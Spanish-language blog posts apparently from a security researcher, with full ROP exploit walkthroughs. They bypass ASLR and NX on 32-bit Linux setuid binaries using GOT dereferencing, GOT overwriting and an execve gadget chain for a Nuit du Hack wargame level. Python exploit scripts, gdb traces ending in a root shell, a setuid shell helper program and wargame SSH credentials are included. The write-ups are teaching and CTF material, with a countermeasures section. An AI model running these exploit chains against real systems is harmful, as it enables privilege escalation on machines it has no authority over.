La idea es utilizar el gadget (2) para escribir el offset entre system y strcpy en algún sitio con permisos de escritura, de forma que el registro EAX se quede con dicho offset. Luego, con el (4) sumar al offset que tenemos en EAX la dirección de strcpy obtenida de la GOT, teniendo en EAX un puntero a system. Por ultimo, con el (5), llamar a la función calculada.

Para obtener la dirección de las entradas de la GOT del programa, podemos utilizar objdump.

$ objdump -R ./stack1

./stack1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080496f8 R_386_GLOB_DAT    __gmon_start__
08049708 R_386_JUMP_SLOT   __gmon_start__
0804970c R_386_JUMP_SLOT   __libc_start_main
08049710 R_386_JUMP_SLOT   strcpy
08049714 R_386_JUMP_SLOT   printf
08049718 R_386_JUMP_SLOT   errx
0804971c R_386_JUMP_SLOT   puts

Con esto ya sabemos que la dirección absoluta de la función strcpy será almacenada en 0x08049710. Ahora tenemos que calcular el offset entre system y strcpy, que podemos obtenerlo mismamente desde el fichero de la biblioteca o con GDB.

$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'strcpy$|system$'
00078b70 g    DF .text 00000023  GLIBC_2.0   strcpy
0003bf10 g    DF .text 0000007d  GLIBC_PRIVATE __libc_system
0003bf10  w   DF .text 0000007d  GLIBC_2.0   system

0x0003bf10(system) - 0x00078b70(strcpy) = 0xfffc33a0 (offset)

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e95f10 <system>
(gdb) p strcpy
$2 = {<text variable, no debug info>} 0xf7ed2b70 <strcpy>

# OFFSET
(gdb) p /x 0xf7e95f10-0xf7ed2b70
$4 = 0xfffc33a0

# STRCPY + OFFSET = SYSTEM
(gdb) x/2i strcpy+0xfffc33a0
   0xf760ff10 <system>: sub    esp,0xc
   0xf760ff13 <system+3>: mov    DWORD PTR [esp+0x4],esi

Obtenemos el mismo resultado ;-)

Para el acceso del gadget (2) necesitamos tener la dirección de algún lugar estático con permisos de escritura (W), como por ejemplo la sección .data.

$ readelf -S stack1 | grep "\.data"
  [24] .data             PROGBITS        08049720 000720 000008 00  WA  0   0  4

Teniendo todos estos datos en nuestro poder, podemos comenzar la explotación.

  • strcpy@GOT: 0x08049710
  • Offset system-strcpy: 0xfffc33a0
  • data: 0x08049720

Con el gadget (1) colocaremos en EBX la dirección de la sección data, y en EDI el offset entre system y strcpy. Como el gadget (2) hará un intercambio entre EDI y EAX, y después sumará 8 a EAX, tendremos que tener en cuenta esa suma, restando 8 al offset. Luego, como se realizará la adición de EAX al valor apuntado en [ebx+0x5d5b04c4], tendremos que restar a la dirección de data el valor 0x5d5b04c4, para que el acceso sea correcto y no provoque una violación de segmento. Dicho esto:

# offset
(gdb) p/x 0xfffc33a0-8
$1 = 0xfffc3398

# data
(gdb) p/x 0x08049720-0x5d5b04c4
$2 = 0xaaa9925c
(gdb) 

Con el gadget (3) volveremos a dar valor a EBX para el acceso del gadget (4), que en este caso será la dirección de la GOT de strcpy. Como el (4) realizará la adición en EAX del valor apuntado en [ebx-0xb8a0008], tendremos que sumar a la dirección de la GOT de strcpy el valor 0xb8a0008, quedando:

# strcpy@GOT
(gdb) p/x 0x08049710+0xb8a0008
$1 = 0x138e9718

Así, cuando la instrucción "add eax [ebx-0xb8a0008]" termine de ejecutarse, el registro EAX tendrá la dirección absoluta de la función strcpy+offset, apuntando a la dirección de system. De esta manera habremos calculado la dirección de system de forma dinámica, saltándonos el ASLR ;-D

Después, en el gadget (4) nos encontramos con un pequeño problema, y es que la instrucción "add esp 0x4" reduce la pila 4 bytes, por lo que perdemos el siguiente dato a "popear". Esto lo solucionamos fácilmente añadiendo otros 4 bytes de relleno.

Al llegar al gadget (5) se ejecutará el "call eax", que hará la llamada a la dirección de system. En ese momento, la cima de la pila (ESP) tiene que tener la dirección de una cadena que sirva como parámetro a system. Para ello usaremos la cadena "GNU", que se encuentra en la dirección 0x8048154 de la sección .note.gnu.build-id.

Figura 3. Estado de la pila justo antes de ejecutarse el RET de main().

Teniendo todo esto claro, solo nos queda hacer un exploit y depurar :-)

#!/usr/bin/python
#
# Exploit GOT Dereferencing (ROP)
# ASLR/NX Bypass
#
# @danigargu
# http://danigargu.blogspot.com.es
# 

from struct import pack

junk = "A" * 64 + "dcba" + "A" * 12  # 80 bytes

## ROP gadgets ##

gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;;
gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
gadget3 = pack('<I', 0x8048432) # (3) pop ebx ; pop ebp ;;
gadget4 = pack('<I', 0x804856e) # (4) add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
gadget5 = pack('<I', 0x804845f) # (5) call eax ; leave ;;

padding = "AAAA" # 4 bytes
offset = 0xfffc33a0-8                              # offset (system-strcpy) - 8 for the gadget (2)
data = (0x08049720-0x5d5b04c4) & 0xFFFFFFFF        # .data - 0x5d5b04c4 for the gadget (2)
strcpy_got = (0x08049710+0xb8a0008)                # strcpy@GOT + 0xb8a0008 for the gadget (4)
gnu_string = 0x8048154                             # "GNU\x00" from note.gnu.build-id

## PAYLOAD ##

rop = gadget1                    # pop ebx ; pop esi ; pop edi ; pop ebp ;;
rop += pack('<I', data)          # EBX = .data - 0x5d5b04c4
rop += padding                   # ESI = padding
rop += pack('<I', offset)        # EDI = offset - 8
rop += padding                   # EBP = padding

rop += gadget2                   # EAX = OFFSET system-strcpy

rop += gadget3                   # pop ebx ; pop ebp ;;
rop += pack('<I', strcpy_got)    # EBX = strcpy@GOT + 0xb8a0008 
rop += padding                   # EBP = padding

rop += gadget4                   # EAX = (OFFSET system-strcpy) + strcpy = SYSTEM ;D
rop += padding                   # padding for "add esp 0x4"
rop += padding                   # EBX = padding
rop += padding                   # EBP = padding

rop += gadget5                   # call eax ; leave ;;
rop += pack('<I', gnu_string)    # "GNU" string

payload = junk + rop

print payload

Descargar exploit

A depurar!

# Breakpoint en el RET de main
(gdb) b *0x080484d6
Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23.

# Mostrar siguiente instrucción a ejecutar
(gdb) set disassemble-next-line on

# Ejecutamos
(gdb) r "$(python exploit_dereferencing.py)"
Starting program: /home/dani/stack1/stack1 "$(python exploit_dereferencing.py)"
you have correctly got the variable to the right value

Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23
   0x080484d5 <main+113>: c9 leave  
=> 0x080484d6 <main+114>: c3 ret

# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xffb90b2c: 0x08048545     --> Dirección gadget1
(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (1) ####

(gdb) x/i $eip
=> 0x8048545 <__libc_csu_init+85>: pop    ebx

...

(gdb) stepi 
0x08048549 in __libc_csu_init ()
=> 0x08048549 <__libc_csu_init+89>: c3 ret   

# Registros importantes tras acabar el gadget (1)
(gdb) i r ebx edi
ebx            0xaaa9925c -1431727524    --> data - 0x5d5b04c4
edi            0xfffc3398 -248936        --> offset system-strcpy-8
(gdb) 

(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (2) ####

(gdb) x/i $eip
=> 0x804842b <__do_global_dtors_aux+75>: xchg   %eax,%edi
(gdb) stepi
0x0804842c in __do_global_dtors_aux ()
=> 0x0804842c <__do_global_dtors_aux+76>: 04 08 add    al,0x8
(gdb) stepi
0x0804842e in __do_global_dtors_aux ()
=> 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add    DWORD PTR [ebx+0x5d5b04c4],eax
(gdb) i r eax
eax            0xfffc33a0 -248928       --> offset system-strcpy
(gdb) 

...

#### Comienzo gadget (3) ####

(gdb) x/i $eip
=> 0x8048432 <__do_global_dtors_aux+82>: pop    ebx
(gdb) stepi
0x08048433 in __do_global_dtors_aux ()
=> 0x08048433 <__do_global_dtors_aux+83>: 5d pop    ebp
(gdb) i r ebx
ebx            0x138e9718 328111896    --> strcpy@GOT (0x8049710) + 0xb8a0008
(gdb) 

#### Comienzo gadget (4) ####

(gdb) x/i $eip
=> 0x804856e <__do_global_ctors_aux+30>: add    eax,DWORD PTR [ebx-0xb8a0008]

# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf763db70   -> Dirección strcpy

(gdb) stepi
0x08048574 in __do_global_ctors_aux ()
=> 0x08048574 <__do_global_ctors_aux+36>: 83 c4 04 add    esp,0x4
(gdb) i r eax
eax            0xf7600f10 -144699632   --> EAX += 0xf763db70 (strcpy) = SYSTEM
(gdb) x/i 0xf7600f10
   0xf7600f10 <system>: sub    esp,0xc

...

#### Comienzo gadget (5) ####

(gdb) x/i $eip
=> 0x804845f <frame_dummy+31>: call   eax
(gdb) x/x $esp
0xffa95dd4: 0x08048154 
(gdb) x/s 0x08048154
0x8048154:  "GNU"

# FINAL

(gdb) c
Continuing.
sh: 1: GNU: not found

Parece que todo está correcto, pero al terminar nos devuelve un "sh: 1: GNU: not found" debido a que no existe ningún binario en nuestro sistema llamado GNU. Para resolver este problema tan solo tenemos que crear un enlace simbólico a /bin/sh con nombre GNU y añadir el directorio actual a la variable de entorno PATH.

$ ln -s /bin/sh GNU
$ ls -l GNU
lrwxrwxrwx 1 dani dani 7 ene 30 21:38 GNU -> /bin/sh
$ export PATH=.:$PATH
$ ./stack1 "$(python exploit_dereferencing.py)"
you have correctly got the variable to the right value
# id
uid=1000(dani) gid=1000(dani) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(dani)
# whoami
root
#

¡¡FUNCIONA!! Después de todo este rollo hemos conseguido explotarlo ;-D

Figura 4. Ejecución del exploit.

GOT overwriting

En este caso, como solo tenemos que sobreescribir la dirección de la GOT de una función utilizada en el programa, añadiéndola el offset entre otra función, con estos 2 gadgets usados anteriormente nos es suficiente:

  1. 0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
  2. 0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;

El gadget (1) colocará en EBX la dirección de la GOT de strcpy, y en EDI el offset entre system y strcpy. El (2) sumará el offset al contenido de la GOT de strcpy (dirección absoluta de strcpy), haciendo que apunte a system. Luego tan solo tendremos que llamar a la PLT de strcpy para invocar system, haciendo un ret2plt.

Exploit:

#!/usr/bin/python
#
# Exploit GOT Overwriting (ROP)
# ASLR/NX Bypass
#
# @danigargu
# http://danigargu.blogspot.com.es
# 

from struct import pack

junk = "A" * 64 + "dcba" + "A" * 12  # 80 bytes

## ROP gadgets ##

gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;;
gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;

padding = "AAAA" # 4 bytes
offset = 0xfffc33a0-8                               # offset (system-strcpy) - 8 for the gadget (2)
strcpy_got = (0x08049710-0x5d5b04c4) & 0xFFFFFFFF   # strcpy@GOT - 0x5d5b04c4 for the gadget (2)
strcpy_plt = 0x08048368                             # strcpy@PLT
gnu_string = 0x8048154                              # "GNU\x00" from note.gnu.build-id

## PAYLOAD ##

rop = gadget1                    # pop ebx ; pop esi ; pop edi ; pop ebp ;;
rop += pack('<I', strcpy_got)    # EBX = strcpy@GOT - 0x5d5b04c4
rop += padding                   # ESI = padding
rop += pack('<I', offset)        # EDI = offset - 8
rop += padding                   # EBP = padding

rop += gadget2                   # EAX = OFFSET system-strcpy
                                 # [ebx+0x5d5b04c4] (strcpy@GOT) + EAX = system

rop += pack('<I', strcpy_plt)    # strcpy@PLT
rop += padding                   # return address
rop += pack('<I', gnu_string)    # "GNU" string

payload = junk + rop

print payload

Descargar exploit

Depuración:

# Breakpoint en el RET de main
(gdb) b *0x080484d6
Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23.

# Ejecutamos
(gdb) r "$(python exploit_overwriting.py)"
Starting program: /home/dani/stack1/stack1 "$(python exploit_overwriting.py)"
you have correctly got the variable to the right value

Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23
   0x080484d5 <main+113>: c9 leave  
=> 0x080484d6 <main+114>: c3 ret 

# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xff87ad8c: 0x08048545     --> Dirección gadget1
(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (1) ####

(gdb) x/i $eip
=> 0x8048545 <__libc_csu_init+85>: pop    ebx

...

(gdb) stepi
0x08048549 in __libc_csu_init ()
=> 0x08048549 <__libc_csu_init+89>: c3 ret    

# Registros importantes tras acabar el gadget (1)
(gdb) i r ebx edi
ebx            0xaaa9924c -1431727540     --> strcpy@GOT - 0x5d5b04c4
edi            0xfffc3398 -248936         --> offset system-strcpy-8
(gdb) 

(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (2) ####

(gdb) x/i $eip
=> 0x804842b <__do_global_dtors_aux+75>: xchg   edi,eax
(gdb) stepi
0x0804842c in __do_global_dtors_aux ()
=> 0x0804842c <__do_global_dtors_aux+76>: 04 08 add    al,0x8
(gdb) stepi
0x0804842e in __do_global_dtors_aux ()
=> 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add    DWORD PTR [ebx+0x5d5b04c4],eax

(gdb) i r eax
eax            0xfffc33a0 -248928        --> offset system-strcpy

# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf76bcb70     --> Dirección strcpy
(gdb) x/i 0xf76bcb70
   0xf76bcb70 <strcpy>: push   ebp

(gdb) stepi
0x08048434 in __do_global_dtors_aux ()
=> 0x08048434 <__do_global_dtors_aux+84>: c3 ret    

# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf767ff10    --> Dirección system
(gdb) x/i 0xf767ff10
   0xf767ff10 <system>: sub    esp,0xc
(gdb) 

# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xff867214: 0x08048368      --> strcpy@PLT
(gdb) x/i 0x08048368
   0x8048368 <strcpy@plt>: jmp    DWORD PTR ds:0x8049710
(gdb) 


# FINAL

(gdb) c
Continuing.
$ id
uid=1000(dani) gid=1000(dani) grupos=1000(dani),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
$ 

Contramedidas

Con estos ataques hemos conseguido evadir ASLR y NX, que suelen ser las técnicas de protección más adoptadas, pero todavía existen otras que pueden ser implementadas, y que hacen que la explotación sea mucho más compleja. PIE (Position-independent executables) y RELRO (RELocation Read-Only) son dos de ellas.

Cuando se utiliza PIE, los binarios son compilados de manera que puedan ser libremente localizables en todo el espacio de direcciones del programa. Así, con el apoyo de ASLR, se cree que los programas están mucho más protegidos contra los ataques que utilizan ROP, ya que no sólo las direcciones del código de las bibliotecas son aleatorias, sino también las direcciones de las instrucciones del propio programa. Sin embargo, PIE necesita recompilación y disminuye el rendimiento del programa, por ello, la mayoría de las modernas distribuciones GNU/Linux aún no lo implementan sus binarios.

Por otro lado, RELRO se utiliza para marcar la sección GOT con solo permisos de lectura, previniendo ataques que necesitan sobreescribir dicha sección, como el tratado anteriormente (GOT overwriting), aunque no el primero (GOT dereferencing).

Enlaces de interés

- Payload already inside: Data reuse for ROP exploits
- ROP Zombie
- RELRO - A (not so well known) Memory Corruption Mitigation Technique
- Too much PIE is bad for performance
- How Effective is ASLR on Linux Systems?

Despedida

Y esto ha sido todo. Si has llegado hasta aquí, espero que hayas disfrutado tanto como yo ;-)

Un saludo!

viernes, 18 de enero de 2013

Having fun with ROP - NX/ASLR Bypass (Linux)

Después de estar unos días buscando y leyendo información acerca de ROP (Return Oriented Programming), he decidido estrenar el blog plasmando un poco lo aprendido con un caso práctico, en el que se aprovecha ROP para explotar un stack overflow en un binario con pila no ejecutable (NX) y randomización de pila (ASLR) activada en el sistema.

ROP (Return Oriented Programming)

Se trata de una técnica de explotación que consiste básicamente en buscar en las secciones ejecutables del binario (que no son afectadas por el ASLR, por ejemplo: text) "gadgets", que en realidad son pequeños trozos de código seguidos inmediatamente de un RET. Después, estos gadgets serán utilizados para crear una cadena de instrucciones, de forma que cada gadget volverá al próximo gadget (a la dirección del siguiente gadget, que estará en la pila).

Programa vulnerable

Para hacer pruebas con esta técnica, he escogido el nivel 10 del CTF de la Nuit Du Hack 2010, que actualmente sigue online, y que para empezar con este tema me parece el ideal.

Para conectarnos por SSH usamos los siguientes credenciales:

* Host: wargame2k10.nuitduhack.com
* Username: level10
* Password: z8D4ds

level10@wargame2k10:~$ ls -l
total 580
-r-sr-x--- 1 l33t    level10 579315  1 janv.  2008 level10
-r--r----- 1 level10 level10      7  1 janv.  2008 passwd
-rwxr-x--- 1 root    root       685  1 janv.  2008 rop.c
level10@wargame2k10:~$ file level10
level10: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped
level10@wargame2k10:~$

Como podemos observar, se trata de un binario ELF de 32bits compilado de forma estática y con setuid activo. Para trabajar mejor, nos lo descargamos por scp.

$ scp level10@wargame2k10.nuitduhack.com:/home/level10/level10 .

También lo dejo subido aquí:
Descarga: level10
MD5: 2e7f6ca4b78518dfd82cd3d0b8432976

Una vez descargado, comprobamos las protecciones que tiene el binario con el script checksec.sh.

$ bash /tools/exploiting/checksec.sh --file level10 
RELRO           STACK CANARY      NX            PIE                     FILE
Partial RELRO   No canary found   NX enabled    No PIE                  level10

# ASLR
$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

Protecciones

  • RELRO: GOT no modificable.
  • NX: Stack no ejecutable.
  • ASLR: Activado.

Perfecto! Ahora toca explotar :-)

$ ./level10 HOLA
ROP me if you can :]
-> HOLA
$ ./level10 `perl -e 'print "A" x 20'`
ROP me if you can :]
-> AAAAAAAAAAAAAAAAAAAA
Violación de segmento

Si al ejecutarlo pasamos un argumento, nos lo imprime, pero si el tamaño del argumento es demasiado grande, nos devuelve una violación de segmento. Ahora solo tenemos que ver cuándo ocurre, así que a tirar de GDB!

Desensamblado de las funciones main() y vuln()

En el desensamblado de la función main() podemos ver como se realiza una llamada a la función vuln(), y en ésta, una llamada a strcpy(), donde es provocada la violación de segmento al copiar el valor de argv[1] en un buffer demasiado pequeño.

Ahora tendremos que comprobar a partir de qué byte se sobreescribe la dirección de retorno de la función vuln(). Para ello vamos a utilizar las herramientas pattern_create.rb y pattern_offset.rb que vienen incluidas en Metasploit Framework.

# Breakpoint en el RET de la función vuln()
(gdb) b *0x0804829f
Breakpoint 1 at 0x804829f

# Ejecutamos pasando 50 bytes generados por patter_create
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
Starting program: /home/dani/ndh-ropme/level10 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
ROP me if you can :]
-> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

Breakpoint 1, 0x0804829f in vuln ()

# Instrucción actual
(gdb) x/i $eip
=> 0x804829f <vuln+59>: ret    

# Examinamos cual es la dirección de retorno antes de que se ejecute el RET
(gdb) x/a $esp
0xffbc939c: 0x41346141
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41346141 in ?? ()
(gdb) 

Como vemos, la dirección de retorno se ha sobreescrito con el valor "0x41346141" (ASCII: Aa4A), y GDB ha devuelto una violación de segmento al no poder acceder a dicha dirección.

$ ruby /pentest/exploits/msf4/tools/pattern_offset.rb 0x41346141
[*] Exact match at offset 12

Tras comprobar el valor con pattern_offset, nos indica que existen 12 bytes antes de empezar a sobreescribir la dirección de retorno, por lo que comienza a sobreescribirse en el byte 13. Ahora que tenemos el control sobre EIP, podemos dirigir el flujo a donde queramos y, como dice el programa (ROP me if you can), tenemos que usar ROP para explotarlo.

Si nos fijamos bien, nos han dejado una función llamada rop() con unas cuantas instrucciones (gadgets) para que aprovechemos, todas ellas con un RET al final.

(gdb) disas rop 
Dump of assembler code for function rop:
   0x08048250 <+0>: push   ebp
   0x08048251 <+1>: mov    ebp,esp
   0x08048253 <+3>: ret    
   0x08048254 <+4>: pop    ebx
   0x08048255 <+5>: ret    
   0x08048256 <+6>: nop
   0x08048257 <+7>: mov    edx,esi
   0x08048259 <+9>: pop    esi
   0x0804825a <+10>: inc    esi
   0x0804825b <+11>: ret    
   0x0804825c <+12>: xor    eax,eax
   0x0804825e <+14>: inc    eax
   0x0804825f <+15>: ret    
   0x08048260 <+16>: int    0x80
   0x08048262 <+18>: pop    ebp
   0x08048263 <+19>: ret    
End of assembler dump.

Posiblemente con esas pocas se podría realizar una llamada a execve(), pero vamos a buscar alguna más utilizando la herramienta ROPeMe de VNSecurity, que son varios scripts en Python que nos ayudan en la recolección de gadgets.

Para generar los gadgets del binario utilizamos el comando: generate <binario>
Para cargarlos: load <fichero ggt>

$ /tools/exploiting/ropeme/ropeme/ropshell.py 
Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> generate level10
Generating gadgets for level10 with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 2748 gadgets
Dumping asm gadgets to file: level10.ggt ...
OK

ROPeMe> load level10.ggt
Loading asm gadgets from file: level10.ggt ...
Loaded 2748 gadgets
ELF base address: 0x8048000
OK

Como vemos, se han encontrado bastantes gadgets (2748), y esto se debe en gran medida a que el binario está compilado de forma estática.

Una vez generados y cargados los gadgets, el siguiente paso consiste en buscar los necesarios para poder realizar una llamada a execve(). Para ello utilizamos el comando search.

ROPeMe> search pop edx %
Searching for ROP gadget:  pop edx % with constraints: []
...
0x8052341L: pop edx ; pop ecx ; pop ebx ;;
...

ROPeMe> search inc ecx %
Searching for ROP gadget:  inc ecx % with constraints: []
0x80853a6L: inc ecx ; adc al 0x39 ;;
...

ROPeMe> search inc edx %
Searching for ROP gadget:  inc edx % with constraints: []
...
0x804ece9L: inc edx ; add al 0x83 ;;
...

ROPeMe> search xor eax eax %
Searching for ROP gadget:  xor eax eax % with constraints: []
0x804825cL: xor eax eax ; inc eax ;;
...

ROPeMe> search inc eax
Searching for ROP gadget:  inc eax with constraints: []
0x804825eL: inc eax ;;
...

ROPeMe> search int 0x80 %
Searching for ROP gadget:  int 0x80 % with constraints: []
0x8048260L: int 0x80 ; pop ebp ;;
...

Gadgets a utilizar

  1. 0x8052341L: pop edx ; pop ecx ; pop ebx ;;
  2. 0x80853a6L: inc ecx ; adc al 0x39 ;;
  3. 0x804ece9L: inc edx ; add al 0x83 ;;
  4. 0x804825cL: xor eax eax ; inc eax ;;
  5. 0x804825eL: inc eax ;;
  6. 0x8048260L: int 0x80 ; pop ebp ;;

Con estos 6 gadgets tenemos suficiente para hacer una llamada a execve, ya que tenemos el control sobre eax (4, 5), ebx (1), ecx (1, 2) y edx (1, 3). Ahora tenemos que conseguir que dichos registros tengan los siguientes valores:

  • EAX = 0xb (syscall execve)
  • EBX = puntero a cadena
  • ECX = 0x0 (NULL)
  • EDX = 0x0 (NULL)

Para conseguirlo, nuestro paquete bomba tendrá la siguiente estructura:

0x08052341  # pop edx ; pop ecx ; pop ebx ;;
0xffffffff  # pop edx; (edx = 0xffffffff)
0xffffffff  # pop ecx; (ecx = 0xffffffff)
puntero_cadena # pop ebx; (ebx = Puntero cadena que utilizará execve)
0x080853a6  # inc ecx ; adc al 0x39 ;; (ecx = 0)
0x0804ece9  # inc edx ; add al 0x83 ;; (edx = 0)
0x0804825c  # xor eax eax ; inc eax ;; (eax = 0x1)
0x0804825e  # inc eax ;; (eax = 0x2)
0x0804825e  # inc eax ;; (eax = 0x3)
0x0804825e  # inc eax ;; (eax = 0x4)
0x0804825e  # inc eax ;; (eax = 0x5)
0x0804825e  # inc eax ;; (eax = 0x6)
0x0804825e  # inc eax ;; (eax = 0x7)
0x0804825e  # inc eax ;; (eax = 0x8)
0x0804825e  # inc eax ;; (eax = 0x9)
0x0804825e  # inc eax ;; (eax = 0xa)
0x0804825e  # inc eax ;; (eax = 0xb)
0x08048260  # int 0x80 ; pop ebp ;;  execve(CADENA,0,0)

Aunque no se aprecie en los gadgets que hemos buscado con la herramienta ROPeMe, éstos siempre acaban en una instrucción RET, de forma que cuando se ejecute el RET, la ejecución pasará directamente a la dirección del siguiente gadget, que se encontrará en la pila. Así estaremos haciendo una especie de shellcode, pero en vez de con opcodes, con las direcciones de los gadgets a ejecutar. Bastante chulo ;-D

Estado de la pila justo antes de ejecutarse el RET de vuln()

Para ponernos con la explotación nos queda un pequeño paso, y es que necesitamos la dirección de una cadena para el primer parámetro de execve (ebx).

NOTA: En la máquina del wargame el ASLR está desactivado, por lo que es más fácil de explotar, ya que podemos meter dicha cadena en una variable de entorno o en cualquier parte de la pila, obtener su dirección y explotarlo sin problemas. Pero en este caso, para complicarlo un poco más, vamos a tratar de buscar una cadena en una sección no randomizable para luego crearnos un pequeño binario que nos brinde un shell.

Búsqueda de cadenas

Para buscar cadenas vamos a usar la herramienta rabin2 que viene en el paquete de radare2, aunque también lo podemos hacer con gdb.

$ rabin2 -z level10
[strings]
addr=0x080a7348 off=0x0005f348 ordinal=000 sz=6 section=.rodata string=s
addr=0x080a734f off=0x0005f34f ordinal=001 sz=9 section=.rodata string=sarg
addr=0x080a7359 off=0x0005f359 ordinal=002 sz=21 section=.rodata string=ROPmeifyoucan
addr=0x080a736e off=0x0005f36e ordinal=003 sz=22 section=.rodata string=FATALkerneltooold
addr=0x080a7385 off=0x0005f385 ordinal=004 sz=13 section=.rodata string=devurandom
...
addr=0x080b1953 off=0x00069953 ordinal=734 sz=6 section=.rodata string=cntrl
addr=0x080b1959 off=0x00069959 ordinal=735 sz=6 section=.rodata string=punct
addr=0x080b195f off=0x0006995f ordinal=736 sz=6 section=.rodata string=alnum
addr=0x080b1966 off=0x00069966 ordinal=737 sz=8 section=.rodata string=toupper
addr=0x080b196e off=0x0006996e ordinal=738 sz=8 section=.rodata string=tolower
addr=0x080bbb40 off=0x00073b40 ordinal=739 sz=7 section=.rodata string=Sunday
....
989 strings

Elegimos por ejemplo "cntrl", que se encuentra en la dirección 0x080b1953, ya que las anteriores tienen mayor tamaño del que se muestra (se puede apreciar el size) y no nos interesa que tengan ningún carácter raro.
Una vez elegida la cadena, creamos un binario llamado cntrl para que restablezca el uid efectivo (euid) del usuario que lo ejecuta y nos abra un shell /bin/sh.

#include <stdio.h>
#include <unistd.h>

int main(void)
{
 int euid = geteuid();
 setreuid(euid, euid);
 execv("/bin/sh", NULL);
}

Hacemos un pequeño script en python que nos imprima la colección de direcciones que hemos encadenado.

#!/usr/bin/python
#
# Exploit ROP
#

from struct import pack

binary = "level10"
junk = "A" * 12

cntrl_string = pack('<I', 0x080b1953) # string: cntrl

rop = pack('<I', 0x08052341)    # pop edx ; pop ecx ; pop ebx ;;
rop += pack('<I', 0xffffffff)   # pop edx (ebx = 0xffffffff)
rop += pack('<I', 0xffffffff)   # pop ecx (ebc = 0xffffffff)
rop += cntrl_string             # pop ebx (ebx = 0x080b1953)
rop += pack('<I', 0x080853a6)   # inc ecx ; adc al 0x39 ;; (ecx = 0x0)
rop += pack('<I', 0x0804ece9)   # inc edx ; add al 0x83 ;; (edx = 0x0)
rop += pack('<I', 0x0804825c)   # xor eax eax ; inc eax ;; (eax = 0x1)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x2)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x3)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x4)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x5)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x6)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x7)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x8)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0x9)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0xa)
rop += pack('<I', 0x0804825e)   # inc eax ;; (eax = 0xb -> execve())
rop += pack('<I', 0x08048260)   # int 0x80 ; pop ebp ;;

payload = junk + rop

print payload

Enviamos al binario lo que lo que nos devuelve el python y...¡FUNCIONA!, tenemos un shell ;D

$ ./level10 "$(python exploit.py)" 
ROP me if you can :]
-> AAAAAAAAAAAAA��������S 
                         ��\�^�^�^�^�^�^�^�^�^�^�`�����
$ 

Lo lanzamos en la máquina del wargame y... !también funciona!

Ahora, como tenemos privilegios del usuario l33t, podemos acceder a su directorio personal y leer sus archivos, que entre ellos está su password y el código fuente del nivel (rop.c).

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10

void rop()
{
 __asm("ret");

 __asm("pop %ebx");
 __asm("ret");

 __asm("nop");
 __asm("movl %esi, %edx");
 __asm("pop %esi");
 __asm("inc %esi");
 __asm("ret");

 __asm("xor %eax, %eax");
 __asm("inc %eax");
 __asm("ret");

 __asm("int $0x80");
}

void vuln(char *buff)
{
 char tmp[8] = {'\0'};

 strcpy(tmp, buff);
 printf("-> %sn", tmp);
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
  printf("%s <arg>n", argv[0]);
  exit(0);
 }
 printf("ROP me if you can :]n");

 vuln(argv[1]);
 return 0;
}

ROPGadget

Todo perfecto, hemos conseguido explotarlo, pero ya que estamos, vamos a utilizar otra gran herramienta para la búsqueda de gadgets, que es ROPGadget, creada por Jonathan Salwan de Shell-Storm.

